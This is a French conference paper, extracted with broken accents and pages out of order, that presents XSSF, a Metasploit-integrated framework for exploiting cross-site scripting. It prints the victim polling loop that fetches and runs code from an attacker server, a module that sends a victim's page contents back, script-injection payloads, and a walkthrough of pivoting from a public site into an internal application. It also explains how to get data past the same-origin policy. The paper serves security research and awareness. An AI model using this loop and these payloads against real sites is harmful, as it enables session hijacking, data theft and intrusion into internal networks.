Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 9: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

310 XSSF demontrer le danger des XSS

3 XSS Framework (XSSF)

Apres avoir parle des possibilites offertes par les XSS nous allons desormaispouvoir rentrer dans le vif du sujet et detailler le fonctionnement du framework XSSFa lrsquointerieur de MSF

Lors du lancement du projet XSSF quelques outils existaient deja avec chacunleurs avantages et inconvenients (voir chapitre 39) La raison principale de realiserun framework supplementaire etait vraiment drsquoune part lrsquointegration dans MSF (tresutilise par les auditeurs) et drsquoautre part lrsquoajout de nombreuses fonctionnalites parrapport a lrsquoexistant

31 Metasploit Framework (MSF)

Metasploit est un projet open-source lie a la securite informatique qui fournitdes informations sur les nouvelles vulnerabilites aide a la penetration de systemesinformatiques et au developpement de signatures pour les IDS 9

Metasploit Framework (MSF) est le plus connu des sous-projets de Metasploit etsert pour le developpement et lrsquoexecution drsquoexploits contre une machine (locale oudistante)

Il peut etre utilise par des auditeurs pour tester le niveau de vulnerabilite decertains systemes afin de mieux les proteger par des pirates afin drsquoexploiter desmachines distantes ou a des fins drsquoeducation

Initialement developpe en langage Perl a sa sortie en 2003 MSF a ete complete-ment reecrit depuis sa version 30 (actuellement 360) en langage Ruby Les raisonsde ce changement sont assez diverses les plus importantes etant le fait de permettrela programmation par classes et modules ainsi que lrsquoexistence drsquoun interpreteur natifRuby sur la plate-forme Windows

Lrsquointeret principal drsquoun framework pour le projet XSSF est de pouvoir reutilisersimplement beaucoup de morceaux de codes et ne pas avoir a les re-implementerpour chaque module (sockets serveurs systemes de connexions etc) De plus MSFfonctionne sur toutes les versions de Linux Mac OS X Unix et sur Windows en

9 Un systeme de detection drsquointrusion (Intrusion Detection System) est un mecanisme destine a repererdes activites anormales ou suspectes sur un reseau (Wikipedia)

L Courgnaud 311

utilisant Cygwin (emulateur de systeme UNIX)

Enfin Metasploit Framework ayant emerge en tant que plate-forme de deve-loppement dans la securite informatique la publication drsquoune vulnerabilite logicielleest desormais souvent accompagnee drsquoun module drsquoexploitation pour Metasploit

32 Integration dans MSF

Avant de se pencher sur la partie de la construction du framework il a deja falludefinir comment lrsquoinserer dans MSF Apres avoir etudie les differentes parties lasolution qui a ete retenue est celle illustree en figure 2

Figure 2 Architecture de MSF avec XSSF

Lrsquoarchitecture du projet XSSF est la meme que celle de MSF dans le but drsquouneintegration officielle Nous noterons qursquoil nrsquoy a eu aucune modification des fichiersdeja existants pour lrsquoajout de XSSF

La partie MSF Core voit donc lrsquoapparition de nouveaux fichiers afin drsquoy integrerles fichiers de definition des tables de base de donnees necessaires au fonctionnementde XSSF

Ensuite la partie des fichiers du noyau du framework srsquoinsere dans MSF Base Celle-ci doit permettre lrsquointeraction avec la base de donnees et doit proposer unserveur web capable drsquointeragir avec toutes les victimes en meme temps Le noyaupropose aussi lrsquointegration de nouveaux modules drsquoattaques dans MSF ceux de type Auxiliary Ces modules peuvent etre rajoutes simplement par nrsquoimporte qui etchaque module correspondra a une attaque On retrouve par exemple un module de

312 XSSF demontrer le danger des XSS

tabnapping 10 un module de vol de fichiers sur Android etc

Enfin le nouveau plugin XSSF est integre au famework proposant ainsi de nou-velles commandes dans Metasploit Framework

Tous ces elements ajoutes vont permettre drsquointegrer XSSF dans MSF et de le fairefonctionner

Une fois Metasploit lance par lrsquoattaquant et plus particulierement le nouveauplugin XSSF un serveur drsquoattaque principal sera demarre Ce serveur a pour but defaire le lien avec

ndash toutes les victimes actives il doit permettre de garder un lien entre les victimeset lrsquoattaquant

ndash la base de donnees contenant des informations sur les victimes et les attaquesde chacune

ndash les differents modules drsquoattaques lances (exploits Metasploit ou attaques XSSF) ndash lrsquoattaquant qui doit pouvoir interagir avec le tout

Figure 3 Fonctionnement et architecture de XSSF

10 httpblogsorange-businesscomsecurite201005tabnapping-le-phishing-via-onglets-de-navigation

html

L Courgnaud 313

Sur le schema on remarque plusieurs details Premierement le lancement drsquounexploit Metasploit sur un navigateur (ou plugin du navigateur) ainsi que celui drsquouneattaque XSSF entraine le lancement drsquoun serveur web en interne (et le lancementdrsquoun job au sens Metasploit) Enfin les victimes nrsquoont pas connaissance desdifferents serveurs drsquoattaques elles connaissent juste lrsquoadresse du serveur principalqursquoelles doivent contacter (principe de serveur maıtre et esclaves) Lrsquoattaquant luiest capable drsquoobserver les victimes et de lancer des attaques ciblees ou collectives parlrsquointermediaire du plugin XSSF

Maintenant que nous avons vu la presentation generale de lrsquoarchitecture de XSSFnous allons pouvoir detailler la maniere dont sont gerees les victimes et par quelsmoyens il est possible de ne pas avoir a se soucier de la Same-Origin Policy

33 Injection XSS et victimes

Desormais nous savons que le lancement du plugin XSSF entraine le lancementdrsquoun serveur principal drsquoattaque sur lrsquoIP locale et sur le port choisi par lrsquoattaquant(8888 par defaut)

Figure 4 Lancement de XSSF sur le port 80

Afin de regrouper les differentes victimes au sein drsquoun meme reseau il estnecessaire de realiser une injection generique sur lrsquoapplication vulnerable Cetteinjection doit faire appel a la ressource loop sur le serveur (quel qursquoen soit lemoyen) et renvoie le code suivant (partie GET simplifiee presentee ici)

function XSSF_EXECUTE_LOOP ()

script = documentcreateElement(rsquoscript rsquo) scriptid = XSSF_CODE

scriptsrc = http 101003624580 asklocation= + windowlocation + amp

id=5amp time= + escape(new Date()getTime ())

314 XSSF demontrer le danger des XSS

documentbodyappendChild(script)

victim_loop = setInterval(executeCode 5 1000)

Lors drsquoune nouvelle demande de la ressource loop une nouvelle victime estcreee cote serveur et lrsquoidentifiant est insere dans son cookie Crsquoest comme cela qursquoelleest ensuite reconnue par le serveur drsquoattaque XSSF lorsqursquoelle effectue une requete

Un identifiant de secours est insere dans les requetes ask et an-

swer afin de pouvoir quand meme gerer (dans la plupart des cas) les victimesnrsquoacceptant pas les cookies

Dans le code on peut srsquoapercevoir que la victime execute une fonction toutes les5 secondes Celle-ci a pour but drsquoaller chercher du contenu sur le serveur drsquoattaque etde lrsquoinserer dans une balise de script Le delai peut etre change par lrsquoattaquant lorsde lrsquoinjection dans la XSS (http101003624580loopinterval=x avec x lenombre de secondes entre chaque demande de commandes)

Comme nous lrsquoavons vu precedemment la SOP ne bloquant pas le contenu chargea partir drsquoune balise de script ou drsquoimage nous pouvons creer un canal avec la victimeLe serveur ne pourra jamais rien lui demander (car la victime nrsquoest pas un serveur ) mais en revanche rien nrsquoempeche la victime de demander des donnees au serveuret crsquoest ce qui se passe ici On remarquera lrsquourl rsquoaskrsquo qui sert donc a demander si denouvelles commandes sont disponibles et qui prend trois parametres (facultatifs) lrsquoun servant a localiser la victime un autre permettant de recharger le script et dene pas le prendre dans le cache (comme le fait IE entre autres) et le dernier etantlrsquoidentifiant de secours

Le lien etant en place ce seul morceau de code cote client sert a faire fonctionnerle framework Bien sur la ressource chargee lors de la requete ask est forcementun script mais ce script peut par exemple nous permettre de charger une autreressource nrsquoetant pas de type script (IFRAME IMG etc) La gestion de la facondont sont chargees les ressources est faite cote serveur et lrsquoattaquant nrsquoa pas a laconnaitre pour coder ses modules Nous verrons dans la partie suivante que tous lestypes de ressources peuvent etre envoyes par le serveur drsquoattaque

Bien que fonctionnel le framework serait peu utile srsquoil nrsquoetait pas possible derecevoir des reponses de la part des victimes (reponses a des attaques) Toujours acause de la SOP il est impossible drsquoutiliser un objet de type XMLHttpRequest afinde realiser un simple POST Ajax par exemple

L Courgnaud 315

Cependant il existe differentes techniques pour contourner ce probleme

A Utilisation de balises acceptant un champs src ces balises etant autorises parla SOP nous pouvons tres bien imaginer de charger une image avec ltimg20src=

http1010036245bypassjpgreponse=xxxgt Il est ainsi possible derecuperer une reponse cote serveur Utilisee dans BeEF et tres connue cettetechnique possede une tres grande limite la taille de la reponse ne pourra pasexceder la taille maximum autorisee pour les URL La RFC ne definit pas detaille limite pour la longueur drsquoune URL cependant chaque navigateur peut enimplementer une (2083 caracteres pour IE par exemple) De plus les librairiesRuby embarquees supportent mal la gestion de donnees importantes en GET (ge1Mo)

B Utilisation drsquoun formulaire ( ltFORMgt ) a lrsquointerieur drsquoune IFRAME invisibleafin de realiser un POST vers XSSF Cette solution permet drsquoenvoyer un grandnombre de donnees Seul bemol au choix de cette technique lrsquoutilisation sur undomaine en HTTPS En effet la plupart des navigateurs avertiront lrsquoutilisateur dupassage de donnees en clair vers un serveur tiers Dans le cas drsquoune exploitationsur un domaine HTTPS il est possible par cette technique que la victime se rendecompte de la recuperation de donnees vers un serveur malicieux

C Mise a profit des nouveaux elements de partage de ressources entre domaines offertspar le HTML5 Grace a eux il sera possible de realiser un POST simplementen AJAX en utilisant lrsquoobjet XMLHttpRequest (ou XDomainRequest sur IE)Lrsquoavantage est que les donnees transferees peuvent avoir une taille importanteet que lrsquoutilisateur ne sera pas averti de lrsquoechange de donnees (en HTTP commeen HTTPS) Lrsquoinconvenient majeur a cette solution est qursquoelle est seulementcompatible avec les dernieres versions des navigateurs actuels (celles supportantla fonctionnalite de Cross-Origin Resource Sharing (C-ORS) )

HTTP HTTPS

SO

LU

TIO

NB

Co

mpa

tibl

eto

us

na

viga

teu

rs

C-ORS SUPPORTE C-ORS NON SUPPORTE

SOLUTION CIE 8+ FF 35+ Safari 4+

Chrome Android Browser 21+iOS Safari 32+

SOLUTION BoplusUtilisateur probablement averti oplus

IE 7- FF 3- Safari 32-Opera

Table 2 Solution retenue pour le retour des donnees depuis la victime vers XSSF

316 XSSF demontrer le danger des XSS

La solution actuellement mise en place permet un fonctionnement des echangesdans la majorite des cas Bien entendu cette solution ne concerne que les donneesenvoyees depuis les victimes vers le serveur drsquoattaque Ce choix ne remet pas en causela possibilite drsquoutilisation des attaques ne necessitant pas de reponse (quelque soit lenavigateur) En effet comme nous lrsquoavons vu precedemment lrsquoenvoi des attaques sefait avec la solution A compatible avec tous les navigateurs

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT

Lancement de Metasploit

Lancement de XSSF

Deacutemarrage du serveur maicirctre XSSF (IP XXXXY)

Injection du script malicieux (ltscript src=httpXXXXYloopinterval=3gt

Connexion agrave lapplication

Appel du fichier loop

Enregistrement dune nouvelle victime

Envoi du fichier loop (JavaScript)

Mise en attente 3 secondes

Demande de code agrave exeacutecuter

Mise en attente 3 secondes

Mise en attente dun eacutevegravenement (code) pour la victime

Recherche de code pour la victime

Demande de code agrave exeacutecuter

Recherche de code pour la victime

404 No code

200 Envoi du code agrave exeacutecuter

Exeacutecution du code partie client

Envoi des reacutesultats (facultatif)

Sauvegarde des reacutesultats

Demande des reacutesultats dattaques (logs)

Geacuteneacuteration des logs

Affichage des logs et statistiques en temps reacuteel

Mise en attente 3 secondes

200 OK

Figure 5 Fonctionnement de XSSF

L Courgnaud 317

En plus de la boucle permettant de recuperer des attaques le code envoye lors dela demande de la ressource rsquolooprsquo comprend donc une bibliotheque de fonctions quelrsquoattaquant pourra utiliser dans ses modules drsquoattaques notamment une fonction derecuperation de donnees Bien entendu grace a la gestion des attaques par le noyauXSSF un attaquant pourra utiliser les fonctions fournies par le framework drsquoou il lesouhaite meme a lrsquointerieur drsquoIFRAMES qursquoil aura cree (le framework se charge derajouter a la volee la bibliotheque de fonctions lors de lrsquoarrivee des donnees depuis unserveur esclave)

Ainsi nous avons donc bien reussi a realiser les GET et POST necessaires et cemalgre la SOP Le canal de communication avec la victime est donc bi-directionnel la victime peut demander des commandes et repondre au serveur dans la majoritedes cas La recuperation de donnees reste cependant limitee (pour le moment) lorsquela victime utilise un navigateur ancien sur un domaine en HTTPS

34 Attaques XSSF

Maintenant que nous avons detaille le fonctionnement general de XSSF nousallons pouvoir expliquer les possibilites offertes par chaque module drsquoattaque Ceux-ciservent a realiser une attaque directement liee a une faille XSS (souvent en JavaScript)Ils doivent pouvoir etre implementes par nrsquoimporte qui facilement et sans avoir aconnaitre le fonctionnement du noyau de XSSF

Un module XSSF est compose de deux grandes parties

Lrsquoinitialisation permet de definir les informations et parametres du module a insererdans Metasploit lors de son utilisation

Le serveur web defini les actions a realiser par le serveur esclave lorsqursquoil recoitune requete (depuis le serveur maıtre)

class Metasploit3 lt Msf Auxiliary

include MsfXssf XssfServer

Module initialization

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoWebPage Saver rsquo

rsquoDescription rsquo =gt rsquoSaves current page viewed by the victim rsquo

))

end

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

